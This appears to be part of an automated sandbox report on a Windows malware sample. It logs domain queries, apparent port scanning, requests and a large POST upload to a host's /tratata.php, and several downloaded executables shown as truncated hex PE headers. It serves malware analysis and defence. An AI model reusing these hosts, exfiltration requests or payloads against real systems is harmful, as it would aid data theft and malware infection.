Source: C:\Windows\explorer.exe	Domain query: host-file-host-3.com
Source: C:\Windows\explorer.exe	Domain query: host-data-coin-11.com

Connects to many ports of the same IP (likely port scanning)

Show sources

Source: global traffic

TCP traffic: 45.9.20.149 ports 42871,1,2,4,7,8

Source: global traffic	HTTP traffic detected: GET /tratata.php HTTP/1.1Host: file-file-host4.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /sqlite3.dll HTTP/1.1Host: file-file-host4.comCache-Control: no-cacheCookie: PHPSESSID=sc69tg8a29f4pr0nv46ehfqbko
Source: global traffic	HTTP traffic detected: POST /tratata.php HTTP/1.1Content-Type: multipart/form-data; boundary=----PZMY5PHVAI5F3EKFHost: file-file-host4.comContent-Length: 81665Connection: Keep-AliveCache-Control: no-cacheCookie: PHPSESSID=sc69tg8a29f4pr0nv46ehfqbko

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.20.1Date: Wed, 01 Dec 2021 09:04:28 GMTContent-Type: application/x-msdos-programContent-Length: 1285856Connection: closeLast-Modified: Mon, 29 Nov 2021 13:05:06 GMTETag: "139ee0-5d1ed16faf7da"Accept-Ranges: bytesData Raw: 4d 5a e2 15 17 e8 ec 6f ac 01 a3 67 88 27 b0 3a 07 28 20 3d 15 26 cf ba ee 2f 19 d3 60 ac 4f 9c ef f1 81 8e a1 4f 5b 97 45 f4 e8 76 69 7c ff 44 43 c7 9e 91 5b 41 d1 06 1c 81 dc 16 00 01 00 00 0b 51 d1 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 b8 78 cc d8 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 30 00 00 10 03 00 00 72 0c 00 00 00 00 00 00 d0 0f 00 00 20 00 00 00 40 03 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 10 17 00 00 04 00 00 5c 1b 14 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 50 03 00 f4 01 00 00 00 60 03 00 58 6f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 03 00 00 10 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 00 00 00 00 00 00 00 10 00 00 00 50 03 00 00 02 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 58 6f 0c 00 00 60 03 00 58 6f 0c 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 40 07 00 00 d0 0f 00 dd 28 07 00 00 76 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.20.1Date: Wed, 01 Dec 2021 09:04:40 GMTContent-Type: application/x-msdos-programContent-Length: 163328Connection: closeLast-Modified: Tue, 30 Nov 2021 16:21:14 GMTETag: "27e00-5d203f23b200e"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 53 ec f2 5f 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 0a 00 00 42 01 00 00 ec 74 02 00 00 00 00 12 2a 00 00 00 10 00 00 00 60 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 40 76 02 00 04 00 00 78 5b 03 00 02 00 00 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 44 e8 01 00 78 00 00 00 00 b0 75 02 18 83 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 61 01 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 95 01 00 40 00 00 00 00 00 00 00 00 00 00 00 00 60 01 00 64 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 50 40 01 00 00 10 00 00 00 42 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 7e 90 00 00 00 60 01 00 00 92 00 00 00 46 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 60 75 73 02 00 00 02 00 00 18 00 00 00 d8 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 66 65 66 65 67 00 00 72 02 00 00 00 80 75 02 00 04 00 00 00 f0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 67 75 79 75 73 00 00 70 02 00 00 00 90 75 02 00 04 00 00 00 f4 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 60 2e 76 65 6e 75 00 00 00 17 00 00 00 00 a0 75 02 00 02 00 00 00 f8 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 60 2e 72 73 72 63 00 00 00 18 83 00 00 00 b0 75 02 00 84 00 00 00 fa 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.20.1Date: Wed, 01 Dec 2021 09:04:44 GMTContent-Type: application/x-msdos-programContent-Length: 351744Connection: closeLast-Modified: Wed, 01 Dec 2021 09:04:02 GMTETag: "55e00-5d211f48282b5"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bf 4f 57 03 fb 2e 39 50 fb 2e 39 50 fb 2e 39 50 68 60 a1 50 fa 2e 39 50 94 58 92 50 d5 2e 39 50 94 58 a7 50 e2 2e 39 50 94 58 93 50 79 2e 39 50 f2 56 aa 50 f8 2e 39 50 fb 2e 38 50 18 2e 39 50 94 58 96 50 fa 2e 39 50 94 58 a3 50 fa 2e 39 50 94 58 a4 50 fa 2e 39 50 52 69 63 68 fb 2e 39 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 96 a5 06 5f 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 fe 03 00 00 40 09 00 00 00 00 00 40 cf 01 00 00 10 00 00 00 10 04 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 70 0d 00 00 04 00 00 f5 45 06 00 02 00 00 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 14 f8 03 00 28 00 00 00 00 e0 0c 00 c0 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 0d 00 30 1d 00 00 c0 13 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 c4 01 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 6c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 be fc 03 00 00 10 00 00 00 fe 03 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 40 cc 08 00 00 10 04 00 00 de 00 00 00 02 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 c0 40 00 00 00 e0 0c 00 00 42 00 00 00 e0 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d4 3b 00 00 00 30 0d 00 00 3c 00 00 00 22 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.20.1Date: Wed, 01 Dec 2021 09:04:47 GMTContent-Type: application/x-msdos-programContent-Length: 336896Connection: closeLast-Modified: Wed, 01 Dec 2021 09:04:01 GMTETag: "52400-5d211f4808eb5"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bf 4f 57 03 fb 2e 39 50 fb 2e 39 50 fb 2e 39 50 68 60 a1 50 fa 2e 39 50 94 58 92 50 d5 2e 39 50 94 58 a7 50 e2 2e 39 50 94 58 93 50 79 2e 39 50 f2 56 aa 50 f8 2e 39 50 fb 2e 38 50 18 2e 39 50 94 58 96 50 fa 2e 39 50 94 58 a3 50 fa 2e 39 50 94 58 a4 50 fa 2e 39 50 52 69 63 68 fb 2e 39 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 84 c6 f3 5f 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 c4 03 00 00 40 09 00 00 00 00 00 c0 95 01 00 00 10 00 00 00 e0 03 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 40 0d 00 00 04 00 00 c9 6e 05 00 02 00 00 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 94 be 03 00 28 00 00 00 00 b0 0c 00 c0 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0d 00 30 1d 00 00 c0 13 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 38 8b 01 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 6c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 3e c3 03 00 00 10 00 00 00 c4 03 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 40 cc 08 00 00 e0 03 00 00 de 00 00 00 c8 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 c0 40 00 00 00 b0 0c 00 00 42 00 00 00 a6 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 b6 3b 00 00 00 00 0d 00 00 3c 00 00 00 e8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.20.1Date: Wed, 01 Dec 2021 09:04:53 GMTContent-Type: application/x-msdos-programContent-Length: 2740224Connection: closeLast-Modified: Sun, 28 Nov 2021 10:30:25 GMTETag: "29d000-5d1d6cff91027"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 07 f6 17 4c 43 97 79 1f 43 97 79 1f 43 97 79 1f 57 fc 7a 1e 48 97 79 1f 57 fc 7c 1e e5 97 79 1f 57 fc 7d 1e 51 97 79 1f 57 fc 7e 1e 42 97 79 1f 11 e2 7d 1e 52 97 79 1f 11 e2 7a 1e 56 97 79 1f 11 e2 7c 1e 69 97 79 1f 57 fc 78 1e 50 97 79 1f 43 97 78 1f d0 97 79 1f f6 e2 70 1e 44 97 79 1f f6 e2 86 1f 42 97 79 1f f6 e2 7b 1e 42 97 79 1f 52 69 63 68 43 97 79 1f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 09 00 77 37 a3 61 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 1d 00 40 03 00 00 1c 01 00 00 00 00 00 10 52 46 00 00 10 00 00 00 50 03 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 6e 00 00 04 00 00 e5 b2 2a 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 fb 90 04 00 f8 00 00 00 00 a0 04 00 d8 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 20 20 20 20 20 ed 3e 03 00 00 10 00 00 00 90 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 20 20 20 20 20 20 20 20 04 da 00 00 00 50 03 00 00 50 00 00 00 94 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 20 20 20 20 20 20 20 20 24 18 00 00 00 30 04 00 00 04 00 00 00 e4 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 e0 01 00 00 00 50 04 00 00 02 00 00 00 e8 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 20 20 20 20 20 20 20 20 1c 22 00 00 00 60 04 00 00 1e 00 00 00 ea 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 2e 69 64 61 74 61 00 00 00 10 00 00 00 90 04 00 00 02 00 00 00 08 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 00 10 00 00 00 a0 04 00 00 02 00 00 00 0a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 68 65 6d 69 64 61 00 a0 41 00 00 b0 04 00 00 00 00 00 00 0c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 e0 2e 62 6f 6f 74 00 00 00 00 c4 27 00 00 50 46 00 00 c4 27 00 00 0c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 60 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.20.2Date: Wed, 01 Dec 2021 09:05:00 GMTContent-Type: application/x-msdos-programContent-Length: 645592Connection: closeLast-Modified: Thu, 21 Oct 2021 11:48:30 GMTETag: "9d9d8-5cedb79317f80"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 13 00 ea 98 3d 53 00 76 08 00 3f 0c 00 00 e0 00 06 21 0b 01 02 15 00 d0 06 00 00 e0 07 00 00 06 00 00 58 10 00 00 00 10 00 00 00 e0 06 00 00 00 90 60 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 20 09 00 00 06 00 00 38 c3 0a 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 b0 07 00 98 19 00 00 00 d0 07 00 4c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 00 fc 27 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 07 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ac d1 07 00 70 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 c0 ce 06 00 00 10 00 00 00 d0 06 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 30 60 2e 64 61 74 61 00 00 00 b0 0f 00 00 00 e0 06 00 00 10 00 00 00 d6 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 c0 2e 72 64 61 74 61 00 00 24 ad 00 00 00 f0 06 00 00 ae 00 00 00 e6 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 40 2e 62 73 73 00 00 00 00 98 04 00 00 00 a0 07 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 40 c0 2e 65 64 61 74 61 00 00 98 19 00 00 00 b0 07 00 00 1a 00 00 00 94 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 4c 0a 00 00 00 d0 07 00 00 0c 00 00 00 ae 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 18 00 00 00 00 e0 07 00 00 02 00 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 f0 07 00 00 02 00 00 00 bc 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 fc 27 00 00 00 00 08 00 00 28 00 00 00 be 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 60 01 00 00 00 30 08 00 00 02 00 00 00 e6 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 c8 03 00 00 00 40 08 00 00 04 00 00 00 e8 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 35 00 00 00 00 00 4d 06 00 00 00 50 08 00 00 08 00 00 00 ec 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 35 31 00 00 00 00 00 60 43 00 00 00 60 08 00 00 44 00 00 00 f4 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 36 33 00 00 00 00 00 84 0d 00 00 00 b0 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.20.1Date: Wed, 01 Dec 2021 09:05:01 GMTContent-Type: application/x-msdos-programContent-Length: 1143000Connection: closeLast-Modified: Tue, 30 Nov 2021 20:10:32 GMTETag: "1170d8-5d2072645dc9e"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 70 1c 69 a3 00 00 00 00 00 00 00 00 e0 00 0e 01 0b 01 30 00 00 60 11 00 00 06 00 00 00 00 00 00 9e 7e 11 00 00 20 00 00 00 80 11 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 c0 11 00 00 02 00 00 09 35 12 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 0f 00 00 00 00 00 00 00 00 00 00 00 50 7e 11 00 4b 00 00 00 00 80 11 00 bc 02 00 00 00 00 00 00 00 00 00 00 00 68 11 00 d8 08 00 00 00 a0 11 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 a4 5e 11 00 00 20 00 00 00 60 11 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 bc 02 00 00 00 80 11 00 00 04 00 00 00 62 11 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 a0 11 00 00 02 00 00 00 66 11 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 7e 11 00 00 00 00 00 48 00 00 00 02 00 05 00 00 18 02 00 dc 5f 05 00 03 00 00 00 da 07 00 06 dc 77 07 00 eb 89 06 00 c1 7d 11 00 80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 42 28 89 08 00 06 7e 53 02 00 04 28 81 0c 00 06 2a 00 00 00 13 30 04 00 04 00 00 00 00 00 00 00 00 00 14 2a 42 28 89 08 00 06 7e 53 02 00 04 28 81 0c 00 06 2a 00 00 00 12 00 00 17 2a 00 00 00 42 28 89 08 00 06 7e 53 02 00 04 28 81 0c 00 06 2a 00 00 00 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 13 30 04 00 04 00 00 00 00 00 00 00 00 00 17 2a 13 30 04 00 04 00 00 00 00 00 00 00 00 00 17 2a 13 30 04 00 04 00 00 00 00 00 00 00 00 00 16 2a 42 28 89 08 00 06 7e 53 02 00 04 28 81 0c 00 06 2a 00 00 00 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 13 30 04 00 04 00 00 00 00 00 00 00 00 00 14 2a 42 28 89 08 00 06 7e 53 02 00 04 28 81 0c 00 06 2a 00 00 00 12 00 00 17 2a 00 00 00 13 30 04 00 04 00 00 00 00 00 00 00 00 00 17 2a 13 30 04 00 04 00 00 00 00 00 00 00 00 00 17 2a 13 30 0a 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 0d 00 04 00 00 00 00 00 00 00 00 00 14 2a 42 28 89 08 00 06 7e 53 02 00 04 28 81 0c 00 06 2a 00

